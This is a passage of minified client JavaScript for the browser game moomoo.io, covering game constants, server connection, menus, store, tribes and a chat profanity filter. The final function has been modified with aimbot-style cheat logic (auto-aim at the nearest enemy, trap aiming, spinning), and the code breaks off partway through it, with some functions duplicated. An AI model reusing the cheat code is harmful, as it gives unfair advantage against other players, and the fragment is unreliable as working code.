e.exports.gatherAngle = Math.PI / 2.6,
e.exports.gatherWiggle = 10,
e.exports.hitReturnRatio = .25,
e.exports.hitAngle = Math.PI / 2,
e.exports.playerScale = 35,
e.exports.playerSpeed = .0016,
e.exports.playerDecel = .993,
e.exports.nameY = 34,
e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc",
"#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373"],
e.exports.animalCount = 7,
e.exports.aiTurnRandom = .06,
e.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool",
"Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc
Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper", "Ben",
"Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion",
"Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared",
"July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"],
e.exports.shieldAngle = Math.PI / 3,
e.exports.weaponVariants = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
e.exports.fetchVariant = function(t) {
for (var n = t.weaponXP[t.weaponIndex] || 0, i =
e.exports.weaponVariants.length - 1; i >= 0; --i)
if (n >= e.exports.weaponVariants[i].xp)
return e.exports.weaponVariants[i]
}
,
e.exports.resourceTypes = ["wood", "food", "stone", "points"],
e.exports.areaCount = 7,
e.exports.treesPerArea = 9,
e.exports.bushesPerArea = 3,
e.exports.totalRocks = 32,
e.exports.goldOres = 7,
e.exports.riverWidth = 724,
e.exports.riverPadding = 114,
e.exports.waterCurrent = .0011,
e.exports.waveSpeed = 1e-4,
e.exports.waveMax = 1.3,
e.exports.treeScales = [150, 160, 165, 175],
e.exports.bushScales = [80, 85, 95],
e.exports.rockScales = [80, 85, 90],
e.exports.snowBiomeTop = 2400,
e.exports.snowSpeed = .75,
e.exports.maxNameLength = 15,
e.exports.mapScale = 14400,
e.exports.mapPingScale = 40,
e.exports.mapPingTime = 2200
}
).call(this, n(41))
}
, function(e, t) {
var n = {
utf8: {
stringToBytes: function(e) {
return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape(n.bin.bytesToString(e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(255 & e.charCodeAt(n));
return t
},
bytesToString: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push(String.fromCharCode(e[n]));
return t.join("")
}
}
};
e.exports = n
}
, function(e, t, n) {
"use strict";
window.loadedScript = !0;
var i = "127.0.0.1" !== location.hostname && !
location.hostname.startsWith("192.168.");
n(22);
var r = n(23)
, s = n(42)
, a = n(43)
, o = n(19)
, c = n(44)
, l = n(45)
, h = (n(46),
n(47))
, u = n(48)
, f = n(55)
, d = n(56)
, p = n(57)
, g = n(58).obj
, m = new a.TextManager
, y = new (n(59))("moomoo.io",3e3,o.maxPlayers,5,!1);
y.debugLog = !1;
var k = !1;
function v() {
ht && ut && (k = !0,
i ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
w(e)
}
)) : w(null))
}
function w(e) {
y.start((function(t, n, a) {
var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
r.connect(c, (function(e) {
Bi(),
setInterval(()=>Bi(), 2500),
e ? ft(e) : (ue.onclick = s.checkTrusted((function() {
!function() {
var e = ++bt > 1
, t = Date.now() - wt > vt;
e && t ? (wt = Date.now(),
xt()) : Tn()
}()
}
)),
s.hookTouchEvents(ue),
fe.onclick = s.checkTrusted((function() {
Oi("https://krunker.io")
}
)),
s.hookTouchEvents(fe),
pe.onclick = s.checkTrusted((function() {
setTimeout((function() {
!function() {
var e = xe.value
, t = prompt("party key", e);
t && (window.onbeforeunload = void 0,
window.location.href = "/?server=" + t)
}()
}
), 10)
}
)),
s.hookTouchEvents(pe),
ge.onclick = s.checkTrusted((function() {
Ae.classList.contains("showing") ?
(Ae.classList.remove("showing"),
me.innerText = "Settings") : (Ae.classList.add("showing"),
me.innerText = "Close")
}
)),
s.hookTouchEvents(ge),
ye.onclick = s.checkTrusted((function() {
yn(),
"block" != Ye.style.display ? Ut() : Ye.style.display = "none"
}
)),
s.hookTouchEvents(ye),
ke.onclick = s.checkTrusted((function() {
"block" != Qe.style.display ? (Qe.style.display = "block",
Ye.style.display = "none",
an(),
Gt()) : Qe.style.display = "none"
}
)),
s.hookTouchEvents(ke),
ve.onclick = s.checkTrusted((function() {
rn()
}
)),
s.hookTouchEvents(ve),
Ne.onclick = s.checkTrusted((function() {
xn()
}
)),
s.hookTouchEvents(Ne),
function() {
for (var e = 0; e < jn.length; ++e) {
var t = new Image;
t.onload = function() {
this.isLoaded = !0
}
,
t.src = ".././img/icons/" + jn[e] + ".png",
Rn[jn[e]] = t
}
}(),
Pe.style.display = "none",
Me.style.display = "block",
Le.value = E("moo_name") || "",
function() {
var e = E("native_resolution");
Zt(e ? "true" == e : "undefined" != typeof cordova),
A = "true" == E("show_ping"),
Ie.hidden = !A,
E("moo_moosic"),
setInterval((function() {
window.cordova &&
(document.getElementById("downloadButtonContainer").classList.add("cordova"),
document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
}
), 1e3),
en(),
s.removeAllChildren(Ce);
for (var t = 0; t < l.weapons.length + l.list.length; ++t)
!function(e) {
s.generateElement({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
Tt()
},
parent: Ce
})
}(t);
for (t = 0; t < l.list.length + l.weapons.length; ++t)
!function(e) {
var t = document.createElement("canvas");
t.width = t.height = 66;
var n = t.getContext("2d");
if (n.translate(t.width / 2, t.height / 2),
n.imageSmoothingEnabled = !1,
n.webkitImageSmoothingEnabled = !1,
n.mozImageSmoothingEnabled = !1,
l.weapons[e]) {
n.rotate(Math.PI / 4 + Math.PI);
var i = new Image;
Zn[l.weapons[e].src] = i,
i.onload = function() {
this.isLoaded = !0;
var i = 1 / (this.height / this.width)
, r = l.weapons[e].iPad || 1;
n.drawImage(this, -t.width * r * o.iconPad *
i / 2, -t.height * r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height * r *
o.iconPad),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-t.width / 2, -t.height / 2,
t.width, t.height),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")"
}
,
i.src = ".././img/weapons/" + l.weapons[e].src +
".png",
(r = document.getElementById("actionBarItem" +
e)).onmouseover = s.checkTrusted((function() {
Tt(l.weapons[e], !0)
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e, !0)
}
)),
s.hookTouchEvents(r)
} else {
i = ri(l.list[e - l.weapons.length], !0);
var r, a = Math.min(t.width - o.iconPadding,
i.width);
n.globalAlpha = 1,
n.drawImage(i, -a / 2, -a / 2, a, a),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-a / 2, -a / 2, a, a),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")",
(r = document.getElementById("actionBarItem" +
e)).onmouseover = s.checkTrusted((function() {
Tt(l.list[e - l.weapons.length])
}
)),
r.onclick = s.checkTrusted((function() {
Sn(e - l.weapons.length)
}
)),
s.hookTouchEvents(r)
}
}(t);
Le.ontouchstart = s.checkTrusted((function(e) {
e.preventDefault();
var t = prompt("enter name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 15)
}
)),
Se.checked = M,
Se.onchange = s.checkTrusted((function(e) {
Zt(e.target.checked)
}
)),
Te.checked = A,
Te.onchange = s.checkTrusted((function(e) {
A = Te.checked,
Ie.hidden = !A,
I("show_ping", A ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ft,
1: En,
2: vi,
4: wi,
33: Ti,
5: Ln,
6: li,
a: gi,
aa: pi,
7: Wn,
8: hi,
sp: ui,
9: xi,
h: Si,
11: Pn,
12: Cn,
13: Bn,
14: bi,
15: Dn,
16: Un,
17: $t,
18: fi,
19: di,
20: Ci,
ac: Ot,
ad: _t,
an: Bt,
st: Rt,
sa: jt,
us: Nt,
ch: hn,
mm: Wt,
t: Mn,
p: Yt,
pp: Pi
}),
pt(),
setTimeout(()=>gt(), 3e3)
}
), (function(e) {
console.error("Vultr error:", e),
alert("Error:\n" + e),
ft("disconnected")
}
))
}
var b, x = new g(o,s), S = Math.PI, T = 2 * S;
function I(e, t) {
b && localStorage.setItem(e, t)
}
function E(e) {
return b ? localStorage.getItem(e) : null
}
Math.lerpAngle = function(e, t, n) {
Math.abs(t - e) > S && (e > t ? t += T : e += T);
var i = t + (e - t) * n;
return i >= 0 && i <= T ? i : i % T
}
,
CanvasRenderingContext2D.prototype.roundRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
CanvasRenderingContext2D.prototype.rigidLRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.lineTo(e + n, t, e + n, t + i, r),
this.lineTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
CanvasRenderingContext2D.prototype.rigidRRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.lineTo(e, t + i, e, t, r),
this.lineTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
"undefined" != typeof Storage && (b = !0),
E("consent") || (consentBlock.style.display = "block"),
window.checkTerms = function(e) {
e ? (consentBlock.style.display = "none",
I("consent", 1)) : $("#consentShake").effect("shake")
}
;
var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"), V = 1, q =
Date.now(), Y = [], W = [], X = [], N = [], G = [], J = new p(d,G,W,Y,nt,l,o,s), K
= n(70), Q = n(71), Z = new K(Y,Q,W,l,null,o,s), ee = 1, te = 0, ne = 0, ie = 0, re
= {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, ae = 0, oe = o.maxScreenWidth, ce = o.maxScreenHeight, le = !1, he =
(document.getElementById("ad-container"),
document.getElementById("mainMenu")), ue =
document.getElementById("enterGame"), fe = document.getElementById("promoImg"), de
= document.getElementById("partyButton"), pe =
document.getElementById("joinPartyButton"), ge =
document.getElementById("settingsButton"), me = ge.getElementsByTagName("span")[0],
ye = document.getElementById("allianceButton"), ke =
document.getElementById("storeButton"), ve = document.getElementById("chatButton"),
we = document.getElementById("gameCanvas"), be = we.getContext("2d"), xe =
document.getElementById("serverBrowser"), Se =
document.getElementById("nativeResolution"), Te =
document.getElementById("showPing"), Ie = (document.getElementById("playMusic"),
document.getElementById("pingDisplay")), Ee =
document.getElementById("shutdownDisplay"), Me =
document.getElementById("menuCardHolder"), Ae =
document.getElementById("guideCard"), Pe = document.getElementById("loadingText"),
Be = document.getElementById("gameUI"), Ce = document.getElementById("actionBar"),
Oe = document.getElementById("scoreDisplay"), Re =
document.getElementById("foodDisplay"), je =
document.getElementById("woodDisplay"), _e =
document.getElementById("stoneDisplay"), Ue =
document.getElementById("killCounter"), De =
document.getElementById("leaderboardData"), Le =
document.getElementById("nameInput"), Fe =
document.getElementById("itemInfoHolder"), ze = document.getElementById("ageText"),
He = document.getElementById("ageBarBody"), Ve =
document.getElementById("upgradeHolder"), qe =
document.getElementById("upgradeCounter"), Ye =
document.getElementById("allianceMenu"), We =
document.getElementById("allianceHolder"), Xe =
document.getElementById("allianceManager"), Ne =
document.getElementById("mapDisplay"), Ge = document.getElementById("diedText"), Je
= document.getElementById("skinColorHolder"), Ke = Ne.getContext("2d");
Ne.width = 300,
Ne.height = 300;
var Qe = document.getElementById("storeMenu")
, $e = document.getElementById("storeHolder")
, Ze = document.getElementById("noticationDisplay")
, et = f.hats
, tt = f.accessories
, nt = new h(c,N,s,o)
, it = "#525252"
, rt = "#3d3f42";
function st(e) {
X = e.teams
}
var at = document.getElementById("featuredYoutube")
, ot = [{
name: "Corrupt X",
link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
}, {
name: "Tweak Big",
link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
}, {
name: "Arena Closer",
link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
}, {
name: "Godenot",
link: "https://www.youtube.com/user/SirGodenot"
}, {
name: "RajNoobTV",
link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
}, {
name: "TomNotTom",
link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
}, {
name: "Nation",
link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
}, {
name: "Pidyohago",
link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
}, {
name: "Enigma",
link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
}, {
name: "Bauer",
link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
}, {
name: "iStealth",
link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
}, {
name: "SICKmania",
link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
}, {
name: "LightThief",
link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
}, {
name: "Fortish",
link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
}, {
name: "巧克力",
link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
}, {
name: "i Febag",
link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
}, {
name: "GoneGaming",
link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
}]
, ct = ot[s.randInt(0, ot.length - 1)];
at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i
class='material-icons' style='vertical-align: top;'></i> " + ct.name +
"</a>";
var lt = !0
, ht = !1
, ut = !1;
function ft(e) {
r.close(),
dt(e)
}
function dt(e) {
he.style.display = "block",
Be.style.display = "none",
Me.style.display = "none",
Ge.style.display = "none",
Pe.style.display = "block",
Pe.innerHTML = e + "<a
href='javascript:window.location.href=window.location.href'
class='ytLink'>reload</a>"
}
window.onblur = function() {
lt = !1
}
,
window.onfocus = function() {
lt = !0,
R && R.alive && yn()
}
,
window.onload = function() {
ht = !0,
v(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
document.body.remove())
}
), 2e4)
}
,
window.captchaCallback = function() {
ut = !0,
v()
}
,
we.oncontextmenu = function() {
return !1
}
;
function pt() {
var e, t, n = "", i = 0;
for (var r in y.servers) {
for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
for (var l = 0; l < s[c].games.length; l++)
a += s[c].games[l].playerCount;
i += a;
var h = y.regionInfo[r].name;
n += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < s.length; u++)
for (var f = s[u], d = 0; d < f.games.length; d++) {
var p = f.games[d]
, g = 1 * f.index + d + 1
, m = y.server && y.server.region === f.region &&
y.server.index === f.index && y.gameIndex == d
, k = h + " " + g + " [" + Math.min(p.playerCount,
o.maxPlayers) + "/" + o.maxPlayers + "]";
let e = y.stripRegion(r) + ":" + u + ":" + d;
m && (de.getElementsByTagName("span")[0].innerText = e),
n += "<option value='" + e + "' " + (m ? "selected" : "") + ">"
+ k + "</option>"
}
n += "<option disabled></option>"
}
n += "<option disabled>All Servers - " + i + " players</option>",
xe.innerHTML = n,
"sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo",
t = "//moomoo.io/") : (e = "Try the sandbox",
t = "//sandbox.moomoo.io/"),
document.getElementById("altServer").innerHTML = "<a href='" + t + "'>" + e
+ "<i class='material-icons' style='font-size:10px;vertical-
align:middle'>arrow_forward_ios</i></a>"
}
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 1,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
function gt() {
var e = new XMLHttpRequest;
e.onreadystatechange = function() {
4 == this.readyState && (200 == this.status ? (window.vultr =
JSON.parse(this.responseText),
y.processServers(vultr.servers),
pt()) : console.error("Failed to load server data with status code:",
this.status))
}
,
e.open("GET", "/serverData", !0),
e.send()
}
xe.addEventListener("change", s.checkTrusted((function() {
let e = xe.value.split(":");
y.switchServer(e[0], e[1], e[2])
}
)));
var mt = document.getElementById("pre-content-container")
, yt = null
, kt = null;
window.cpmstarAPI((function(e) {
e.game.setTarget(mt),
kt = e
}
));
var vt = 3e5
, wt = 0
, bt = 0;
function xt() {
if (!cpmstarAPI || !kt)
return console.log("Failed to load video ad API", !!cpmstarAPI, !!kt),
void Tn();
(yt = new
kt.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed",
(function(e) {
console.log("Video ad closed"),
St()
}
)),
yt.addEventListener("loaded", (function(e) {
console.log("Video ad loaded"),
yt.show()
}
)),
yt.addEventListener("load_failed", (function(e) {
console.log("Video ad load failed", e),
St()
}
)),
yt.load(),
mt.style.display = "block"
}
function St() {
mt.style.display = "none",
Tn()
}
function Tt(e, t, n) {
if (R && e)
if (s.removeAllChildren(Fe),
Fe.classList.add("visible"),
s.generateElement({
id: "itemInfoName",
text: s.capitalizeFirst(e.name),
parent: Fe
}),
s.generateElement({
id: "itemInfoDesc",
text: e.desc,
parent: Fe
}),
n)
;
else if (t)
s.generateElement({
class: "itemInfoReq",
text: e.type ? "secondary" : "primary",
parent: Fe
});
else {
for (var i = 0; i < e.req.length; i += 2)
s.generateElement({
class: "itemInfoReq",
html: e.req[i] + "<span class='itemInfoReqVal'> x" +
e.req[i + 1] + "</span>",
parent: Fe
});
e.group.limit && s.generateElement({
class: "itemInfoLmt",
text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
parent: Fe
})
}
else
Fe.classList.remove("visible")
}
window.showPreAd = xt;
var It, Et, Mt, At = [], Pt = [];
function Bt(e, t) {
At.push({
sid: e,
name: t
}),
Ct()
}
function Ct() {
if (At[0]) {
var e = At[0];
s.removeAllChildren(Ze),
Ze.style.display = "block",
s.generateElement({
class: "notificationText",
text: e.name,
parent: Ze
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#cc5151;'></i>",
parent: Ze,
onclick: function() {
Dt(0)
},
hookTouch: !0
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#8ecc51;'></i>",
parent: Ze,
onclick: function() {
Dt(1)
},
hookTouch: !0
})
} else
Ze.style.display = "none"
}
function Ot(e) {
X.push(e),
"block" == Ye.style.display && Ut()
}
function Rt(e, t) {
R && (R.team = e,
R.isOwner = t,
"block" == Ye.style.display && Ut())
}
function jt(e) {
Pt = e,
"block" == Ye.style.display && Ut()
}
function _t(e) {
for (var t = X.length - 1; t >= 0; t--)
X[t].sid == e && X.splice(t, 1);
"block" == Ye.style.display && Ut()
}
function Ut() {
if (R && R.alive) {
if (an(),
Qe.style.display = "none",
Ye.style.display = "block",
s.removeAllChildren(We),
R.team)
for (var e = 0; e < Pt.length; e += 2)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (Pt[e] == R.sid ? "#fff" :
"rgba(255,255,255,0.6)"),
text: Pt[e + 1],
parent: We
});
R.isOwner && Pt[e] != R.sid && s.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
Lt(Pt[e])
},
hookTouch: !0,
parent: t
})
}(e);
else if (X.length)
for (e = 0; e < X.length; ++e)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (X[e].sid == R.team ? "#fff" :
"rgba(255,255,255,0.6)"),
text: X[e].sid,
parent: We
});
s.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Ft(e)
},
hookTouch: !0,
parent: t
})
}(e);
else
s.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
s.removeAllChildren(Xe),
R.team ? s.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Ht()
},
hookTouch: !0,
parent: Xe
}) : (s.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
e.preventDefault();
var t = prompt("unique name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 7)
},
parent: Xe
}),
s.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
zt()
},
hookTouch: !0,
parent: Xe
}))
}
}
function Dt(e) {
r.send("11", At[0].sid, e),
At.splice(0, 1),
Ct()
}
function Lt(e) {
r.send("12", e)
}
function Ft(e) {
r.send("10", X[e].sid)
}
function zt() {
r.send("8", document.getElementById("allianceInput").value)
}
function Ht() {
At = [],
Ct(),
r.send("9")
}
var Vt, qt = [];
function Yt(e, t) {
for (var n = 0; n < qt.length; ++n)
if (!qt[n].active) {
Vt = qt[n];
break
}
Vt || (Vt = new function() {
this.init = function(e, t) {
this.scale = 0,
this.x = e,
this.y = t,
this.active = !0
}
,
this.update = function(e, t) {
this.active && (this.scale += .05 * t,
this.scale >= o.mapPingScale ? this.active = !1 : (e.globalAlpha =
1 - Math.max(0, this.scale / o.mapPingScale),
e.beginPath(),
e.arc(this.x / o.mapScale * Ne.width, this.y / o.mapScale *
Ne.width, this.scale, 0, 2 * Math.PI),
e.stroke()))
}
}
,
qt.push(Vt)),
Vt.init(e, t)
}
function Wt(e) {
Et = e
}
var Xt = 0;
function Nt(e, t, n) {
n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t : R.skins[t]
= 1,
"block" == Qe.style.display && Gt()
}
function Gt() {
if (R) {
s.removeAllChildren($e);
for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n)
t[n].dontSell || function(n) {
var i = s.generateElement({
id: "storeDisplay" + n,
class: "storeItem",
onmouseout: function() {
Tt()
},
onmouseover: function() {
Tt(t[n], !1, !0)
},
parent: $e
});
s.hookTouchEvents(i, !0),
s.generateElement({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" : "hats/hat_")
+ t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
parent: i
}),
s.generateElement({
tag: "span",
text: t[n].name,
parent: i
}),
(e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ? R.tailIndex :
R.skinIndex) == t[n].id ? s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Jt(0, e)
},
hookTouch: !0,
parent: i
}) : s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Jt(t[n].id, e)
},
hookTouch: !0,
parent: i
}) : (s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Kt(t[n].id, e)
},
hookTouch: !0,
parent: i
}),
s.generateElement({
tag: "span",
class: "itemPrice",
text: t[n].price,
parent: i
}))
}(n)
}
}
function Jt(e, t) {
r.send("13c", 0, e, t)
}
function Kt(e, t) {
r.send("13c", 1, e, t)
}
function Qt() {
Qe.style.display = "none",
Ye.style.display = "none",
an()
}
function $t(e, t) {
e && (t ? R.weapons = e : R.items = e);
for (var n = 0; n < l.list.length; ++n) {
var i = l.weapons.length + n;
document.getElementById("actionBarItem" + i).style.display =
R.items.indexOf(l.list[n].id) >= 0 ? "inline-block" : "none"
}
for (n = 0; n < l.weapons.length; ++n)
document.getElementById("actionBarItem" + n).style.display =
R.weapons[l.weapons[n].type] == l.weapons[n].id ? "inline-block" : "none"
}
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 1,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
var tn = document.getElementById("chatBox")
, nn = document.getElementById("chatHolder");
function rn() {
on ? setTimeout((function() {
var e = prompt("chat message");
e && sn(e)
}
), 1) : "block" == nn.style.display ? (tn.value && sn(tn.value),
an()) : (Qe.style.display = "none",
Ye.style.display = "none",
nn.style.display = "block",
tn.focus(),
yn()),
tn.value = ""
}
function sn(e) {
r.send("ch", e.slice(0, 30))
}
function an() {
tn.value = "",
nn.style.display = "none"
}
var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga",
"dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit",
"pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch",
"dick", "fag", "bastard"];
function hn(e, t) {
var n = Ii(e);
n && (n.chatMessage = function(e) {
for (var t, n = 0; n < ln.length; ++n)
if (e.indexOf(ln[n]) > -1) {
t = "";
for (var i = 0; i < ln[n].length; ++i)
t += t.length ? "o" : "M";
var r = new RegExp(ln[n],"g");
e = e.replace(r, t)
}
return e
}(t),
n.chatCountdown = o.chatCountdown)
}
function un() {
F = window.innerWidth,
z = window.innerHeight;
var e = Math.max(F / oe, z / ce) * V;
we.width = F * V,
we.height = z * V,
we.style.width = F + "px",
we.style.height = z + "px",
be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) / 2)
}
function fn(e) {
(on = e) ? Ae.classList.add("touch") : Ae.classList.remove("touch")
}
function dn(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.id = -1,
bn()) : n.identifier == se.id && (se.id = -1,
R.buildIndex >= 0 && (O = 1,
vn()),
O = 0,
vn())
}
}
function pn() {
if(Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50 && autoaim == false && ab == true && lmao == false && hit ==
false){
return trap_a
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) < 50 && autoaim == true && ab == true &&
lmao == false && hit == false){
return nearestEnemyAngle
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) > 50 && autoaim == true && ab == false){
return nearestEnemyAngle
}else if(test == true && hit == false && lmao == false &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50) {
return spin
}else if(test == true && hit == false && lmao == false &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50 && ab == false) {
return nearestEnemyAngle
}else if(test == false && autoaim == true){
return nearestEnemyAngle
return trap_a
}else if(Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x
- TrapCoord.x), 2)) && autoaim == false && TrapAimbutok == true && lmao == false &&
hit == false){
return trap_a
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) && autoaim == true && TrapAimbutok ==
true && lmao == false && hit == false){
return nearestEnemyAngle
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) && autoaim == true && TrapAimbutok ==
false){
return nearestEnemyAngle
}else if(test == true && hit == false && lmao == false &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) && TrapAimbutok == false) {
return nearestEnemyAngle
